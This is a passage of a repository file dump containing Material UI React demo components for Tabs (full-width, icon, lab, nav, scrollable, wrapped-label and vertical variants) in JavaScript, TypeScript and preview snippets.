    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\ninterface TabPanelProps {\n  children?: React.ReactNode;\n  dir?: string;\n  index: number;\n  value: number;\n}\n\nfunction TabPanel(props: TabPanelProps) {\n  const { children, value, index, ...other } = props;\n\n  return (\n    <div\n      role=\"tabpanel\"\n      hidden={value !== index}\n      id={`full-width-tabpanel-${index}`}\n      aria-labelledby={`full-width-tab-${index}`}\n      {...other}\n    >\n      {value === index && (\n        <Box sx={{ p: 3 }}>\n          <Typography>{children}</Typography>\n        </Box>\n      )}\n    </div>\n  );\n}\n\nfunction a11yProps(index: number) {\n  return {\n    id: `full-width-tab-${index}`,\n    'aria-controls': `full-width-tabpanel-${index}`,\n  };\n}\n\nexport default function FullWidthTabs() {\n  const theme = useTheme();\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ bgcolor: 'background.paper', width: 500 }}>\n      <AppBar position=\"static\">\n        <Tabs\n          value={value}\n          onChange={handleChange}\n          indicatorColor=\"secondary\"\n          textColor=\"inherit\"\n          variant=\"fullWidth\"\n          aria-label=\"full width tabs example\"\n        >\n          <Tab label=\"Item One\" {...a11yProps(0)} />\n          <Tab label=\"Item Two\" {...a11yProps(1)} />\n          <Tab label=\"Item Three\" {...a11yProps(2)} />\n        </Tabs>\n      </AppBar>\n      <TabPanel value={value} index={0} dir={theme.direction}>\n        Item One\n      </TabPanel>\n      <TabPanel value={value} index={1} dir={theme.direction}>\n        Item Two\n      </TabPanel>\n      <TabPanel value={value} index={2} dir={theme.direction}>\n        Item Three\n      </TabPanel>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/IconLabelTabs.js",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport PhoneIcon from '@mui/icons-material/Phone';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport PersonPinIcon from '@mui/icons-material/PersonPin';\n\nexport default function IconLabelTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Tabs value={value} onChange={handleChange} aria-label=\"icon label tabs example\">\n      <Tab icon={<PhoneIcon />} label=\"RECENTS\" />\n      <Tab icon={<FavoriteIcon />} label=\"FAVORITES\" />\n      <Tab icon={<PersonPinIcon />} label=\"NEARBY\" />\n    </Tabs>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/IconLabelTabs.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport PhoneIcon from '@mui/icons-material/Phone';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport PersonPinIcon from '@mui/icons-material/PersonPin';\n\nexport default function IconLabelTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Tabs value={value} onChange={handleChange} aria-label=\"icon label tabs example\">\n      <Tab icon={<PhoneIcon />} label=\"RECENTS\" />\n      <Tab icon={<FavoriteIcon />} label=\"FAVORITES\" />\n      <Tab icon={<PersonPinIcon />} label=\"NEARBY\" />\n    </Tabs>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/IconLabelTabs.tsx.preview",
    "content": "<Tabs value={value} onChange={handleChange} aria-label=\"icon label tabs example\">\n  <Tab icon={<PhoneIcon />} label=\"RECENTS\" />\n  <Tab icon={<FavoriteIcon />} label=\"FAVORITES\" />\n  <Tab icon={<PersonPinIcon />} label=\"NEARBY\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/IconPositionTabs.js",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport PhoneIcon from '@mui/icons-material/Phone';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport PersonPinIcon from '@mui/icons-material/PersonPin';\nimport PhoneMissedIcon from '@mui/icons-material/PhoneMissed';\n\nexport default function IconPositionTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Tabs\n      value={value}\n      onChange={handleChange}\n      aria-label=\"icon position tabs example\"\n    >\n      <Tab icon={<PhoneIcon />} label=\"top\" />\n      <Tab icon={<PhoneMissedIcon />} iconPosition=\"start\" label=\"start\" />\n      <Tab icon={<FavoriteIcon />} iconPosition=\"end\" label=\"end\" />\n      <Tab icon={<PersonPinIcon />} iconPosition=\"bottom\" label=\"bottom\" />\n    </Tabs>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/IconPositionTabs.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport PhoneIcon from '@mui/icons-material/Phone';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport PersonPinIcon from '@mui/icons-material/PersonPin';\nimport PhoneMissedIcon from '@mui/icons-material/PhoneMissed';\n\nexport default function IconPositionTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Tabs\n      value={value}\n      onChange={handleChange}\n      aria-label=\"icon position tabs example\"\n    >\n      <Tab icon={<PhoneIcon />} label=\"top\" />\n      <Tab icon={<PhoneMissedIcon />} iconPosition=\"start\" label=\"start\" />\n      <Tab icon={<FavoriteIcon />} iconPosition=\"end\" label=\"end\" />\n      <Tab icon={<PersonPinIcon />} iconPosition=\"bottom\" label=\"bottom\" />\n    </Tabs>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/IconPositionTabs.tsx.preview",
    "content": "<Tabs\n  value={value}\n  onChange={handleChange}\n  aria-label=\"icon position tabs example\"\n>\n  <Tab icon={<PhoneIcon />} label=\"top\" />\n  <Tab icon={<PhoneMissedIcon />} iconPosition=\"start\" label=\"start\" />\n  <Tab icon={<FavoriteIcon />} iconPosition=\"end\" label=\"end\" />\n  <Tab icon={<PersonPinIcon />} iconPosition=\"bottom\" label=\"bottom\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/IconTabs.js",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport PhoneIcon from '@mui/icons-material/Phone';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport PersonPinIcon from '@mui/icons-material/PersonPin';\n\nexport default function IconTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Tabs value={value} onChange={handleChange} aria-label=\"icon tabs example\">\n      <Tab icon={<PhoneIcon />} aria-label=\"phone\" />\n      <Tab icon={<FavoriteIcon />} aria-label=\"favorite\" />\n      <Tab icon={<PersonPinIcon />} aria-label=\"person\" />\n    </Tabs>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/IconTabs.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport PhoneIcon from '@mui/icons-material/Phone';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport PersonPinIcon from '@mui/icons-material/PersonPin';\n\nexport default function IconTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Tabs value={value} onChange={handleChange} aria-label=\"icon tabs example\">\n      <Tab icon={<PhoneIcon />} aria-label=\"phone\" />\n      <Tab icon={<FavoriteIcon />} aria-label=\"favorite\" />\n      <Tab icon={<PersonPinIcon />} aria-label=\"person\" />\n    </Tabs>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/IconTabs.tsx.preview",
    "content": "<Tabs value={value} onChange={handleChange} aria-label=\"icon tabs example\">\n  <Tab icon={<PhoneIcon />} aria-label=\"phone\" />\n  <Tab icon={<FavoriteIcon />} aria-label=\"favorite\" />\n  <Tab icon={<PersonPinIcon />} aria-label=\"person\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/LabTabs.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Tab from '@mui/material/Tab';\nimport TabContext from '@mui/lab/TabContext';\nimport TabList from '@mui/lab/TabList';\nimport TabPanel from '@mui/lab/TabPanel';\n\nexport default function LabTabs() {\n  const [value, setValue] = React.useState('1');\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%', typography: 'body1' }}>\n      <TabContext value={value}>\n        <Box sx={{ borderBottom: 1, borderColor: 'divider' }}>\n          <TabList onChange={handleChange} aria-label=\"lab API tabs example\">\n            <Tab label=\"Item One\" value=\"1\" />\n            <Tab label=\"Item Two\" value=\"2\" />\n            <Tab label=\"Item Three\" value=\"3\" />\n          </TabList>\n        </Box>\n        <TabPanel value=\"1\">Item One</TabPanel>\n        <TabPanel value=\"2\">Item Two</TabPanel>\n        <TabPanel value=\"3\">Item Three</TabPanel>\n      </TabContext>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/LabTabs.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Tab from '@mui/material/Tab';\nimport TabContext from '@mui/lab/TabContext';\nimport TabList from '@mui/lab/TabList';\nimport TabPanel from '@mui/lab/TabPanel';\n\nexport default function LabTabs() {\n  const [value, setValue] = React.useState('1');\n\n  const handleChange = (event: React.SyntheticEvent, newValue: string) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%', typography: 'body1' }}>\n      <TabContext value={value}>\n        <Box sx={{ borderBottom: 1, borderColor: 'divider' }}>\n          <TabList onChange={handleChange} aria-label=\"lab API tabs example\">\n            <Tab label=\"Item One\" value=\"1\" />\n            <Tab label=\"Item Two\" value=\"2\" />\n            <Tab label=\"Item Three\" value=\"3\" />\n          </TabList>\n        </Box>\n        <TabPanel value=\"1\">Item One</TabPanel>\n        <TabPanel value=\"2\">Item Two</TabPanel>\n        <TabPanel value=\"3\">Item Three</TabPanel>\n      </TabContext>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/LabTabs.tsx.preview",
    "content": "<TabContext value={value}>\n  <Box sx={{ borderBottom: 1, borderColor: 'divider' }}>\n    <TabList onChange={handleChange} aria-label=\"lab API tabs example\">\n      <Tab label=\"Item One\" value=\"1\" />\n      <Tab label=\"Item Two\" value=\"2\" />\n      <Tab label=\"Item Three\" value=\"3\" />\n    </TabList>\n  </Box>\n  <TabPanel value=\"1\">Item One</TabPanel>\n  <TabPanel value=\"2\">Item Two</TabPanel>\n  <TabPanel value=\"3\">Item Three</TabPanel>\n</TabContext>"
  },
  {
    "path": "docs/data/material/components/tabs/NavTabs.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\n\nfunction samePageLinkNavigation(event) {\n  if (\n    event.defaultPrevented ||\n    event.button !== 0 || // ignore everything but left-click\n    event.metaKey ||\n    event.ctrlKey ||\n    event.altKey ||\n    event.shiftKey\n  ) {\n    return false;\n  }\n  return true;\n}\n\nfunction LinkTab(props) {\n  return (\n    <Tab\n      component=\"a\"\n      onClick={(event) => {\n        // Routing libraries handle this, you can remove the onClick handle when using them.\n        if (samePageLinkNavigation(event)) {\n          event.preventDefault();\n        }\n      }}\n      aria-current={props.selected && 'page'}\n      {...props}\n    />\n  );\n}\n\nLinkTab.propTypes = {\n  selected: PropTypes.bool,\n};\n\nexport default function NavTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    // event.type can be equal to focus with selectionFollowsFocus.\n    if (\n      event.type !== 'click' ||\n      (event.type === 'click' && samePageLinkNavigation(event))\n    ) {\n      setValue(newValue);\n    }\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        aria-label=\"nav tabs example\"\n        role=\"navigation\"\n      >\n        <LinkTab label=\"Page One\" href=\"/drafts\" />\n        <LinkTab label=\"Page Two\" href=\"/trash\" />\n        <LinkTab label=\"Page Three\" href=\"/spam\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/NavTabs.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\n\nfunction samePageLinkNavigation(\n  event: React.MouseEvent<HTMLAnchorElement, MouseEvent>,\n) {\n  if (\n    event.defaultPrevented ||\n    event.button !== 0 || // ignore everything but left-click\n    event.metaKey ||\n    event.ctrlKey ||\n    event.altKey ||\n    event.shiftKey\n  ) {\n    return false;\n  }\n  return true;\n}\n\ninterface LinkTabProps {\n  label?: string;\n  href?: string;\n  selected?: boolean;\n}\n\nfunction LinkTab(props: LinkTabProps) {\n  return (\n    <Tab\n      component=\"a\"\n      onClick={(event: React.MouseEvent<HTMLAnchorElement, MouseEvent>) => {\n        // Routing libraries handle this, you can remove the onClick handle when using them.\n        if (samePageLinkNavigation(event)) {\n          event.preventDefault();\n        }\n      }}\n      aria-current={props.selected && 'page'}\n      {...props}\n    />\n  );\n}\n\nexport default function NavTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    // event.type can be equal to focus with selectionFollowsFocus.\n    if (\n      event.type !== 'click' ||\n      (event.type === 'click' &&\n        samePageLinkNavigation(\n          event as React.MouseEvent<HTMLAnchorElement, MouseEvent>,\n        ))\n    ) {\n      setValue(newValue);\n    }\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        aria-label=\"nav tabs example\"\n        role=\"navigation\"\n      >\n        <LinkTab label=\"Page One\" href=\"/drafts\" />\n        <LinkTab label=\"Page Two\" href=\"/trash\" />\n        <LinkTab label=\"Page Three\" href=\"/spam\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/NavTabs.tsx.preview",
    "content": "<Tabs\n  value={value}\n  onChange={handleChange}\n  aria-label=\"nav tabs example\"\n  role=\"navigation\"\n>\n  <LinkTab label=\"Page One\" href=\"/drafts\" />\n  <LinkTab label=\"Page Two\" href=\"/trash\" />\n  <LinkTab label=\"Page Three\" href=\"/spam\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/ScrollableTabsButtonAuto.js",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function ScrollableTabsButtonAuto() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ maxWidth: { xs: 320, sm: 480 }, bgcolor: 'background.paper' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        variant=\"scrollable\"\n        scrollButtons=\"auto\"\n        aria-label=\"scrollable auto tabs example\"\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n        <Tab label=\"Item Four\" />\n        <Tab label=\"Item Five\" />\n        <Tab label=\"Item Six\" />\n        <Tab label=\"Item Seven\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/ScrollableTabsButtonAuto.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function ScrollableTabsButtonAuto() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ maxWidth: { xs: 320, sm: 480 }, bgcolor: 'background.paper' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        variant=\"scrollable\"\n        scrollButtons=\"auto\"\n        aria-label=\"scrollable auto tabs example\"\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n        <Tab label=\"Item Four\" />\n        <Tab label=\"Item Five\" />\n        <Tab label=\"Item Six\" />\n        <Tab label=\"Item Seven\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/ScrollableTabsButtonAuto.tsx.preview",
    "content": "<Tabs\n  value={value}\n  onChange={handleChange}\n  variant=\"scrollable\"\n  scrollButtons=\"auto\"\n  aria-label=\"scrollable auto tabs example\"\n>\n  <Tab label=\"Item One\" />\n  <Tab label=\"Item Two\" />\n  <Tab label=\"Item Three\" />\n  <Tab label=\"Item Four\" />\n  <Tab label=\"Item Five\" />\n  <Tab label=\"Item Six\" />\n  <Tab label=\"Item Seven\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/ScrollableTabsButtonForce.js",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function ScrollableTabsButtonForce() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ maxWidth: { xs: 320, sm: 480 }, bgcolor: 'background.paper' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        variant=\"scrollable\"\n        scrollButtons\n        allowScrollButtonsMobile\n        aria-label=\"scrollable force tabs example\"\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n        <Tab label=\"Item Four\" />\n        <Tab label=\"Item Five\" />\n        <Tab label=\"Item Six\" />\n        <Tab label=\"Item Seven\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/ScrollableTabsButtonForce.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function ScrollableTabsButtonForce() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ maxWidth: { xs: 320, sm: 480 }, bgcolor: 'background.paper' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        variant=\"scrollable\"\n        scrollButtons\n        allowScrollButtonsMobile\n        aria-label=\"scrollable force tabs example\"\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n        <Tab label=\"Item Four\" />\n        <Tab label=\"Item Five\" />\n        <Tab label=\"Item Six\" />\n        <Tab label=\"Item Seven\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/ScrollableTabsButtonForce.tsx.preview",
    "content": "<Tabs\n  value={value}\n  onChange={handleChange}\n  variant=\"scrollable\"\n  scrollButtons\n  allowScrollButtonsMobile\n  aria-label=\"scrollable force tabs example\"\n>\n  <Tab label=\"Item One\" />\n  <Tab label=\"Item Two\" />\n  <Tab label=\"Item Three\" />\n  <Tab label=\"Item Four\" />\n  <Tab label=\"Item Five\" />\n  <Tab label=\"Item Six\" />\n  <Tab label=\"Item Seven\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/ScrollableTabsButtonPrevent.js",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function ScrollableTabsButtonPrevent() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ maxWidth: { xs: 320, sm: 480 }, bgcolor: 'background.paper' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        variant=\"scrollable\"\n        scrollButtons={false}\n        aria-label=\"scrollable prevent tabs example\"\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n        <Tab label=\"Item Four\" />\n        <Tab label=\"Item Five\" />\n        <Tab label=\"Item Six\" />\n        <Tab label=\"Item Seven\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/ScrollableTabsButtonPrevent.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function ScrollableTabsButtonPrevent() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ maxWidth: { xs: 320, sm: 480 }, bgcolor: 'background.paper' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        variant=\"scrollable\"\n        scrollButtons={false}\n        aria-label=\"scrollable prevent tabs example\"\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n        <Tab label=\"Item Four\" />\n        <Tab label=\"Item Five\" />\n        <Tab label=\"Item Six\" />\n        <Tab label=\"Item Seven\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/ScrollableTabsButtonPrevent.tsx.preview",
    "content": "<Tabs\n  value={value}\n  onChange={handleChange}\n  variant=\"scrollable\"\n  scrollButtons={false}\n  aria-label=\"scrollable prevent tabs example\"\n>\n  <Tab label=\"Item One\" />\n  <Tab label=\"Item Two\" />\n  <Tab label=\"Item Three\" />\n  <Tab label=\"Item Four\" />\n  <Tab label=\"Item Five\" />\n  <Tab label=\"Item Six\" />\n  <Tab label=\"Item Seven\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/ScrollableTabsButtonVisible.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Tabs, { tabsClasses } from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\n\nexport default function ScrollableTabsButtonVisible() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box\n      sx={{\n        flexGrow: 1,\n        maxWidth: { xs: 320, sm: 480 },\n        bgcolor: 'background.paper',\n      }}\n    >\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        variant=\"scrollable\"\n        scrollButtons\n        aria-label=\"visible arrows tabs example\"\n        sx={{\n          [`& .${tabsClasses.scrollButtons}`]: {\n            '&.Mui-disabled': { opacity: 0.3 },\n          },\n        }}\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n        <Tab label=\"Item Four\" />\n        <Tab label=\"Item Five\" />\n        <Tab label=\"Item Six\" />\n        <Tab label=\"Item Seven\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/ScrollableTabsButtonVisible.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Tabs, { tabsClasses } from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\n\nexport default function ScrollableTabsButtonVisible() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box\n      sx={{\n        flexGrow: 1,\n        maxWidth: { xs: 320, sm: 480 },\n        bgcolor: 'background.paper',\n      }}\n    >\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        variant=\"scrollable\"\n        scrollButtons\n        aria-label=\"visible arrows tabs example\"\n        sx={{\n          [`& .${tabsClasses.scrollButtons}`]: {\n            '&.Mui-disabled': { opacity: 0.3 },\n          },\n        }}\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n        <Tab label=\"Item Four\" />\n        <Tab label=\"Item Five\" />\n        <Tab label=\"Item Six\" />\n        <Tab label=\"Item Seven\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/TabsWrappedLabel.js",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function TabsWrappedLabel() {\n  const [value, setValue] = React.useState('one');\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        aria-label=\"wrapped label tabs example\"\n      >\n        <Tab\n          value=\"one\"\n          label=\"New Arrivals in the Longest Text of Nonfiction that should appear in the next line\"\n          wrapped\n        />\n        <Tab value=\"two\" label=\"Item Two\" />\n        <Tab value=\"three\" label=\"Item Three\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/TabsWrappedLabel.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function TabsWrappedLabel() {\n  const [value, setValue] = React.useState('one');\n\n  const handleChange = (event: React.SyntheticEvent, newValue: string) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        aria-label=\"wrapped label tabs example\"\n      >\n        <Tab\n          value=\"one\"\n          label=\"New Arrivals in the Longest Text of Nonfiction that should appear in the next line\"\n          wrapped\n        />\n        <Tab value=\"two\" label=\"Item Two\" />\n        <Tab value=\"three\" label=\"Item Three\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/TabsWrappedLabel.tsx.preview",
    "content": "<Tabs\n  value={value}\n  onChange={handleChange}\n  aria-label=\"wrapped label tabs example\"\n>\n  <Tab\n    value=\"one\"\n    label=\"New Arrivals in the Longest Text of Nonfiction that should appear in the next line\"\n    wrapped\n  />\n  <Tab value=\"two\" label=\"Item Two\" />\n  <Tab value=\"three\" label=\"Item Three\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/VerticalTabs.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nfunction TabPanel(props) {\n  const { children, value, index, ...other } = props;\n\n  return (\n    <div\n      role=\"tabpanel\"\n      hidden={value !== index}\n      id={`vertical-tabpanel-${index}`}\n      aria-labelledby={`vertical-tab-${index}`}\n      {...other}\n    >\n      {value === index && (\n        <Box sx={{ p: 3 }}>\n          <Typography>{children}</Typography>\n        </Box>\n      )}\n    </div>\n  );\n}\n\nTabPanel.propTypes = {\n  children: PropTypes.node,\n  index: PropTypes.number.isRequired,\n  value: PropTypes.number.isRequired,\n};\n\nfunction a11yProps(index) {\n  return {\n    id: `vertical-tab-${index}`,\n    'aria-controls': `vertical-tabpanel-${index}`,\n  };\n}\n\nexport default function VerticalTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box\n      sx={{ flexGrow: 1, bgcolor: 'background.paper', display: 'flex', height: 224 }}\n    >\n      <Tabs\n        orientation=\"vertical\"\n        variant=\"scrollable\"\n        value={value}\n        onChange={handleChange}\n        aria-label=\"Vertical tabs example\"\n        sx={{ borderRight: 1, borderColor: 'divider' }}\n      >\n        <Tab label=\"Item One\" {...a11yProps(0)} />\n        <Tab label=\"Item Two\" {...a11yProps(1)} />\n        <Tab label=\"Item Three\" {...a11yProps(2)} />\n        <Tab label=\"Item Four\" {...a11yProps(3)} />\n        <Tab label=\"Item Five\" {...a11yProps(4)} />\n        <Tab label=\"Item Six\" {...a11yProps(5)} />\n        <Tab label=\"Item Seven\" {...a11yProps(6)} />\n      </Tabs>\n      <TabPanel value={value} index={0}>\n        Item One\n      </TabPanel>\n      <TabPanel value={value} index={1}>\n        Item Two\n      </TabPanel>\n      <TabPanel value={value} index={2}>\n        Item Three\n      </TabPanel>\n      <TabPanel value={value} index={3}>\n        Item Four\n      </TabPanel>\n      <TabPanel value={value} index={4}>\n        Item Five\n      </TabPanel>\n      <TabPanel value={value} index={5}>\n        Item Six\n      </TabPanel>\n      <TabPanel value={value} index={6}>\n        Item Seven\n      </TabPanel>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/VerticalTabs.tsx",
